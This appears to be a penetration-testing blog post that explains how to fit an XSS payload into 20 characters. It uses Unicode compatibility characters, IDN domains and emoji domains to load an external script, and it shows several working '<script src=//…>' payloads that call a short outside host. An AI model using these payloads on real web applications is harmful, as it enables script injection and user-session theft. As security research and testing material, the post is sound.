23 August 2020

When testing web applications, the tester encounters many limitations. One of the limitations I have recently addressed was how to demonstrate the real impact on the user if there is XSS in a web application, but it is limited to only 20 characters.

Let's look at the problem a little more closely...

There is unprotected user input in the web application, for example we can use this payload to demonstrate the vulnerability:

<svg onload=alert()>

As we can calculate, this payload has exactly 20 characters. Great, we're within the limit. But there's one major problem. There's no real abuse! An attacker gains nothing by displaying an empty alert.

For XSS, it is generally best to load an external js script so that the exploit doesn't have to be sent in full. With the character limit, you can't do it any other way.

So we use the script tag and define the address to the external source

<script src=//xx.xx>

Again, we have exactly 20 characters, which is fine, but where can we get a 2 character or 1 character domain that also has a 2 character ending? Either such a domain is already taken or buying it is very expensive.

Solution:

  • Unicode equivalence
  • IDN domain
  • Emoji domain

The result will be an XSS payload, which will be loaded by an external script and the written url address will have only 3 characters (including the dot). You may say that this is impossible, because the ending cannot have only 1 character… well, in the actual writing it is possible 🙂

Unicode equivalence

In Unicode equivalence, some sequences of code points represent essentially the same character. This feature was introduced into the standard to ensure compatibility with existing standard character sets. Unicode provides two ways of dealing with canonical and compatible equivalence.

We will be interested in compatible equivalence, i.e. when sequences of code points have different appearances but the same meaning in some contexts.

For example, the character is equivalent to ff

Browsers implement unicode compatibility with some characters, so that multiple characters can be replaced with only one character.

<script src=//㏄㏛.pw>

Note that a are only one character, but when the browser interprets it, they are expanded as two characters. This gives us access to a larger number of domains that can be purchased more cheaply.

Examples of some characters:
=> ff
=> sr
=> cc
=> wb
=> kt

It is also possible to use number signs:
=> 22
=> 35

The list of characters can be found, for example, here:

Characters need not only be used in the domain, but also in the ending.

The resulting payload could look like this:

<script src=//㊺.₨>

- 45
- Symbol for the currency of the Indian rupee

Internationalized Domain Name (IDN) domain

IDN is a technical solution that allows the use of national characters (e.g. accented characters) in domain names. Currently it is not possible to have IDNs for CZ domains, but some other endings allow it. (Domain háčkyčárky.cz is the only CZ domain that allows the display of diacritics. It is managed by the CZ.NIC association)

Example of IDN-enabled:
.EU .COM .NET .PL .INFO .ORG .BIZ .DE .CC .PW .WS .AT .HU

The IDN domain is always in the Punycode notation, this form is then converted to ACE (ASCII Compatible Encoding). This already contains only ASCII characters, while it is clear that it is an IDN domain.

www.xn--hkyrky-ptac70bc.cz is translate as www.háčkyčárky.cz

In a properly functioning browser, you should get to the same page in both cases.

For IDN domains, there are again a large number of free domains that can be registered. For the shortest possible registration we will look for free domains where only 1 character can be used.

If you can't register a domain with a national character in the name, I recommend trying again in the Punycode notation.

xn--bea => č
xn--hga => ř

For our payload we will use a domain with an IDN name and an extension with an equivalent character.

The resulting XSS payload might look like this:

<script src=//ž.㎺>

=> sign for picowatt

Emoji domain

Emojis are used almost everywhere today and the use of these symbols in a domain is now also possible (https://en.wikipedia.org/wiki/Emoji_domain).

There are significantly fewer endings enabling such a domain than IDN domains, these are the following endings:
.cf, .ga, .gq, .ml, .tk, .st, .fm, .to, .je, .gg, .kz, .com.kz, .org.kz, a .ws.

When registering such a domain, Punycode is again used and the use of such a domain is the same as for an IDN.

Domain ❤🍺.ws will be redirected to budweiser.com

To use XSS payload would use an emoji in the domain and end with an equivalent character.

The resulting XSS payload might look like this:

<script src=//🧑.㎖>

🧑 => xn--bv9h
㎖ => sign for millilitre


In all cases it is possible to create an XSS payload with external script loading using 18 characters. The remaining 2 characters can be used for example to terminate the previous string.
  • The <script> tag is a pair, payload is functional only if it is inserted into a part of html code where there is a terminating tag </script>
  • In certain cases, it is possible to use payload without the last > character, thus creating a payload using only 17 characters

Test environment for short XSS:

See the Pen XSS Testing by Test (@dkxa4g6) on CodePen.